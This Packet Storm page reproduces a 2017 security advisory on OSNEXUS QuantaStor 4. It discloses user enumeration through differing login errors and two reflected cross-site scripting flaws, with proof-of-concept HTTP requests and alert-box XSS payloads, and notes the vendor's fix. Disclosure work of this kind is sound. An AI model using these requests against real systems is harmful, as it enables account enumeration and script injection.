exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OSNEXUS QuantaStor 4 Information Disclosure

OSNEXUS QuantaStor 4 Information Disclosure
Posted Aug 14, 2017
Authored by Nahuel Sanchez | Site vvvsecurity.com

OSNEXUS QuantaStor version 4 suffers from multiple information disclosure vulnerabilities including user enumeration.

tags | exploit, vulnerability, info disclosure
advisories | CVE-2017-9978, CVE-2017-9979
SHA-256 | 0762c7d4aa2b0a1660c63fde56c7e91b852dcdf5a6a1019d3e8ed62845a1049f

OSNEXUS QuantaStor 4 Information Disclosure

Change Mirror Download
1. --- Advisory details ---

Title: QuantaStor Software Define Storage mmultiple vulnerabilities

Advisory ID: VVVSEC-2017-6943

Advisory URL:
http://www.vvvsecurity.com/advisories/vvvsecurity-advisory-2017-6943.txt

Date published: 12/08/2017

CVEs:
CVE-2017-9978 "Brute force login request using http post mechanism
returns different errors",
CVE-2017-9979 "Rest call made for methods not implemented in the
server return a response with the invalid method previously invoked."

CVSS v3.0 score:
CVE-2017-9978 5.3 MEDIUM
(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE-2017-9979 6.1 MEDIUM
(CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

2. --- Vulnerability details ---

Class:
CWE-79: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
CWE-203: Information Exposure Through Discrepancy

Impact: Information disclosure

Remotely Exploitable: Yes
Locally Exploitable: No

3. --- Vulnerability Description ---

OSNEXUS QuantaStor [1] Software Define Storage appliance was designed
to ease the process of storage management.
From vendor's website "...QuantaStor SDS, deployed in datacenters
worldwide, addresses a broad set of storage use
cases including server virtualization, big data, cloud computing, and
high performance applications
through scale-out physical and virtual storage appliances..."

Three different vulnerabilities were found in the appliance. A user
enumeration attack and two unauthenticated XSS.
These vulnerabilities could allow a remote attacker to obtain valid
usernames to perform bruteforce attacks and
obtain sensitive information.


4. --- Affected software versions ---

OSNEXUS QuantaStor v4 virtual appliance

5. --- Technical description ---

5.1 --- User enumeration ---

QuantaStor login mechanism returns different messages if the account
used to perform the login is valid or not in the system.
Leveraging this difference an attacker could be able to enumerate
valid accounts.

5.1.1 --- Proof of Concept ---

Executing the following HTTP requests an attacker can perform a login
request.

"""

POST / HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related,
text/*
User-Agent: Axis/1.4
Host: localhost:5152
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Authorization: Basic <REPLACE WITH BASE64 Encoded credentials>
Content-Length: 384


<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<objectGet
xmlns="http://quantastor.osnexus.com/webservices/osn.xsd"><reserved
xmlns="">
</reserved></auditLogGet></soapenv:Body></soapenv:Envelope>

"""

If the user included in the request is valid, the error returned by
the application will be:

<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication
check failed for 'admin',
please verify your password was entered correctly. (10.10.0.1)
[err=26]
</fault></faultstring><detail><detail><msg>Authentication check
failed for 'admin', please verify your password was entered correctly.
(10.10.0.1)
[err=26]</msg><loc>service/osn_security_manager.cpp:1298</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

But if the user doesn't exist in the system, the message will be:

<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication
failed, please
verify your username, 'TESTUSER' is invalid. (10.10.0.1)
[err=26]</fault></faultstring><detail><detail><msg>
Authentication failed, please verify your username, 'TESTUSER' is
invalid. (10.10.0.1) [err=26]
</msg><loc>service/osn_security_manager.cpp:1256</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

5.2 --- Cross Site Scripting in "qsCall" parameter

QuantaStor API accepts parameters through the use of the "qsCall"
parameter. If the method called
doesn't exist an error will be triggered containing the invalid method
previously invoked.
The response sent to the user isn't sanitized.
An attacker can leverage this issue including arbitrary HTML or
JavaScript code in the qsCall parameter.

5.2.2 --- Proof of Concept ---

Execute the following HTTP request.

"""
https://<HOST>:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E
"""

5.3 --- Cross Site Scripting in "/qstorapi/jsonrpc"

QuantaStor "jsonrpc "API accepts parameters through the use of a JSON
dictionary. If the method called
doesn't exist an error will be triggered containing the invalid method
previously invoked.
The response sent to the user isn't sanitized.
An attacker can leverage this issue including arbitrary HTML or
JavaScript code in the "method" key.

5.3.1 --- Proof of Concept ---

Execute the following HTTP request.

"""
POST /qstorapi/jsonrpc HTTP/1.0

Accept: application/soap+xml, application/dime, multipart/related,
text/*
User-Agent: Axis/1.4
Host: <HOST>:8153
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 54


{"method":"<script>alert(1)</script>", "params":"asd"}
"""


6. --- Vendor information ---

OSNEXUS released Quantastor version 4.3.1 fixing CVE-2017-9978
and CVE-2017-9979

7. --- Credits ---

These vulnerabilities were discovered by Nahuel D. Sanchez, VVVSecurity

8. --- Report timeline ---

25/06/2017 -- VVVSecurity sent Advisory to OSNEXUS
29/06/2017 -- OSNEXUS confirmed the security vulnerabilities,
CVE-2017-9978 and CVE-2017-9979 were provided.
24/07/2017 -- OSNEXUS released QuantaStor version 4.3.1
12/08/2017 -- Security Advisory published

9. --- References ---

[1] https://www.osnexus.com/software-defined-storage/

10. --- Copyright ---

The contents of this advisory are copyright (c) 2017 VVVSecurity and
are licensed
under a Creative Commons Attribution Non-Commercial Share-Alike 4.0
License: http://creativecommons.org/licenses/by-nc-sa/4.0/
<http://creativecommons.org/licenses/by-nc-sa/4.0/>


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close